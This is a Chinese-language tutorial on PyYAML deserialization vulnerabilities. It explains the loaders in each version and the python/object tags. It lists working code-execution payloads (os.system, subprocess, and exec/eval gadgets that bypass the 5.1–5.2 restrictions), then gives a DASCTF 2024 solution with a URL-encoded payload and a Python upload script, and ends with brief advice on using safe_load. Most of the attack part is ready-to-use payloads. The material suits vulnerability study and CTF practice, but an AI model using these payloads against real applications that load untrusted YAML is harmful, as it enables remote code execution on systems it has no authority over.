PyYAML反序列化学习
字数 1700 2025-08-22 12:22:54
PyYAML反序列化漏洞深入分析与利用
1. YAML基础
1.1 YAML简介
YAML(YAML Ain't Markup Language)是一种数据序列化标记语言,主要用于配置文件和数据交换。特点:
- 可读性强
- 语法简洁
- 类似于XML但更简单
- 适合转化为数组或hash数据
1.2 YAML基本语法
- 多份配置文件用
---分隔 - 大小写敏感
- 支持JSON格式数据
- 使用缩进表示层级关系(仅空格,不用tab)
#表示注释!!表示强制类型转换&定义锚点,*引用锚点<<配合*可自动展开对象
1.3 YAML数据结构
- 对象:键值对集合
- 列表:有序值集合
- 标量:原子值(数字、日期等)
2. PyYAML类型转换机制
2.1 类型转换原理
!!x x可理解为find_function("x")(x),PyYAML提供了5个关键函数:
python/namepython/modulepython/objectpython/object/newpython/object/apply
这些函数可以引入新模块,是反序列化漏洞的根本原因。
3. PyYAML版本差异
3.1 版本<5.1
关键方法:
load(data)load(data, Loader=Loader)load_all(data)load_all(data, Loader=Loader)
加载器与构造器:
BaseConstructor:基础构造器,不支持强制类型转换SafeConstructor:继承BaseConstructor,符合YAML规范Constructor:默认构造器,最危险,扩展了强制类型转换
3.2 5.1≤版本<5.2
构造器分类:
BaseConstructor:无强制类型转换SafeConstructor:仅基础类型转换FullConstructor:默认构造器,限制模块必须已导入UnsafeConstructor:支持全部强制类型转换Constructor:等同于UnsafeConstructor
反序列化函数:
load(data)(有条件工作)full_load(data)unsafe_load(data)- 对应的
load_all和full_load_all、unsafe_load_all
3.3 版本≥5.2
- 仅支持
!!python/name、!!python/object、!!python/object/new和!!python/module - 5.3.1+增加过滤机制
- 5.4+仅支持
!!python/name、!!python/object/apply、!!python/object、!!python/object/new - 6.0+必须指定Loader
4. 反序列化漏洞利用
4.1 版本<5.1利用方式
4.1.1 !!python/object/new
!!python/object/new:os.system ["calc.exe"]
!!python/object/new:subprocess.check_output [["calc.exe"]]
!!python/object/new:os.popen ["calc.exe"]
!!python/object/new:subprocess.run ["calc.exe"]
!!python/object/new:subprocess.call ["calc.exe"]
4.1.2 !!python/object/apply
!!python/object/apply:os.system ["calc.exe"]
!!python/object/apply:subprocess.check_output [["calc.exe"]]
!!python/object/apply:os.popen ["calc.exe"]
!!python/object/apply:subprocess.run ["calc.exe"]
!!python/object/apply:subprocess.call ["calc.exe"]
!!python/object/apply:subprocess.Popen ["calc.exe"]
4.1.3 !!python/object
只能调用无参数函数
4.1.4 !!python/module
导入并执行指定模块
4.1.5 !!python/name
获取变量值
4.2 5.1≤版本<5.2绕过方式
4.2.1 直接使用UnsafeLoader
yaml.unsafe_load(exp)
yaml.load(exp, Loader=UnsafeLoader)
4.2.2 利用map+eval绕过
!!python/object/new:tuple
- !!python/object/new:map
- !!python/name:eval
- ["__import__('os').system('whoami')"]
4.2.3 利用extend方法
!!python/object/new:type
args:
- test
- !!python/tuple []
- {"extend": !!python/name:exec }
listitems: "__import__('os').system('whoami')"
4.2.4 利用setstate方法
!!python/object/new:type
args:
- test
- !!python/tuple []
- {"__setstate__": !!python/name:exec }
state: "__import__('os').system('whoami')"
4.2.5 利用update方法
!!python/object/new:str
args: []
state:
!!python/tuple
- "__import__('os').system('whoami')"
- !!python/object/new:staticmethod
args: []
state:
update: !!python/name:eval
items: !!python/name:list
5. 实战案例:[DASCTF 2024]yaml_master
5.1 漏洞分析
- 使用
yaml.load()无指定Loader - 存在WAF过滤关键字符
- 可通过URL编码绕过
5.2 利用POC
!!python/object/new:type
args:
- test
- !!python/tuple []
- {"extend": !!python/name:exec }
listitems: "import urllib; exec(urllib.parse.unquote('%5f%5f%69%6d%70%6f%72%74%5f%5f%28%22%6f%73%22%29%2e%73%79%73%74%65%6d%28%22%77%68%6f%61%6d%69%22%29'))"
5.3 利用脚本
import requests
url = "http://127.0.0.1:5000"
filename = "poc.yaml"
with open(file=filename, mode="r") as file:
files = {'file': (filename, file)}
response = requests.post(url + "/upload", files=files)
print(response.text)
res = requests.post(url + "/Yam1?filename=poc")
print(res.text)
6. 防御建议
- 使用
yaml.safe_load()替代yaml.load() - 升级PyYAML到最新版本
- 实现严格的输入过滤
- 使用白名单机制限制反序列化类
- 避免直接反序列化不可信数据